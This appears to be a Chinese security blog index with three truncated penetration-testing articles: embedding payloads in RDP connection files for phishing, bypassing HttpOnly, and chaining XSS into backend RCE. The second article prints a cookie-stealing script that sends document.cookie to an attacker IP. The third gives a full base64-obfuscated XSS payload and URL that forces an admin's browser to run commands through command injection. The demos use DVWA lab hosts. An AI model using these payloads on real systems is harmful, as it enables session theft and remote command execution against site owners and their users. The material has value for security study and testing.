创建RDP有效负载

前言 随着网络钓鱼技术的不断发展,攻击手段也变得越来越复杂和隐蔽且攻击者已经熟练地利用 Windows 的标准功能来传递恶意负载。虽然这些方法看似巧妙,但实际上存在潜在的操作安全风险。这些技术可能会无意中暴露攻击者的行踪,使防御者能够发现并有效应对。 在现今环境中,尖端的预防技术已成为常态,成功传递恶意负载而不引起警报已成为一门真正的艺术。 而通过 Windows 内部服务配置文件及其注入内容的技术可以很适合的达到这一点。在本篇文章中,我们将以研究 RDP 连接文件为例。要注入RDP有效负载,关键在于如何确保 RDP 连接文件在嵌入内容后仍能正常工作。 文件结构 RDP 连接文件,通常以.rdp结尾,是一种配置文件,用于简化与 Windows 系统的远程桌面连接。这个文件包含多个参数,每个参数都对远程连接的设置和行为起到重要作用。 文件结构的细节可能因RDP客户端版本和配置有些差异,但通常存在以下组件。 screen mode id:i:2:屏幕模式 ID,2 表示全屏模式。 use multimon:i:0:是否使用多显示器,0 表示不使用。 desktopwidth:i:2560:远程桌面的宽度,单位为像素。 desktopheight:i:1440:远程桌面的高度,单位为像素。 session bpp:i:32:会话的颜色深度,32 表示 32 位色。 winposstr:s:0,3,0,0,800,600:窗口位置和大小参数。 compression:i:1:是否启用压缩,1 表示启用。 keyboardhook:i:2:键盘钩子模式,2 表示在远程会话中启用。 audiocapturemode:i:0:音频捕获模式,0 表示禁用。 videoplaybackmode:i:1:视频播放模式,1 表示启用。 connection type:i:7:连接类型,7 表示高质量宽带。 networkautodetect:i:1:是否自动检测网络,1 表示启用。 bandwidthautodetect:i:1:是否自动检测带宽,1 表示启用。 displayconnectionbar:i:1:是否显示连接栏,1 表示启用。 enableworkspacereconnect:i:0:是否启用工作区重新连接,0 表示禁用。 disable wallpaper:i:0:是否禁用壁纸,0…

HttpOnly绕过

简介 在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。 部署 在开始前,我们先来做个对比实验。   Kali Linux IP:192.168.64.129   DVWA:192.168.64.132   先将DVWA靶机设置为low状态。 在XSS反射型漏洞页面输入payload: <script>alert(document.cookie)</script> 查看获取到的cookie,可以看到能够获取到PHPSESSID。  我们可以通过浏览器自带的”应用”功能来修改目标状态为开启了HttpOnly。 再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。 绕过   既然对方开启了HttpOnly,那么我们应该怎样绕过呢?   通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。 那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?   答案是可以的,在Kali Linux主机中输入命令开启接收 python3 -m http.server 80 我们先构造一个常用窃取cookie语句: <script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>  执行后,Kali Linux会话会收到接收的cookie  此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串: <script> fetch('http://ip/phpinfo') .then(response => response.text()) .then(data => { // 开始字符串和结束字符串,用于过滤HTML内容 const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">'; const…

前端漏洞触发后端RCE

简介 在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。 XSS 我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令: 1;ls 通过Burp可以查看到命令注入的请求包是POST类型 假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php: <?php highlight_file(__FILE__); $id = $_GET['id']; echo ($id); ?> 既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery: <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script> 然后我们可以通过Ajax构造请求达到触发RCE,payload: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val(); $.ajax({ url:'http://192.168.64.129/DVWA/vulnerabilities/exec/', type:'POST', data:{ "ip": '1;touch 1', //执行命令 "Submit": "Submit"},}); }); 注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。 但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句: atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw') 需要注意使用单引号包裹Base64字符串,使其为一个整体,以防解析错误。然后使用eval包裹执行,并注入script标签触发XSS,完整语句: <script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 因为目标网站可能没有jQuery(几率很小),所以整体语句为: http://IP地址/php.php?id=<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script><script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 通过浏览器访问该地址虽然没有回显,但是我们可以通过Burp的历史请求查看到对应响应。通过Burp历史请求,我们可以看到此次触发了三个请求,分别为编号26、27和28,第一个请求则是由我们访问Url地址进行的一个GET请求: 27号请求则是通过payload跳转到DVWA的命令注入页面: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val();…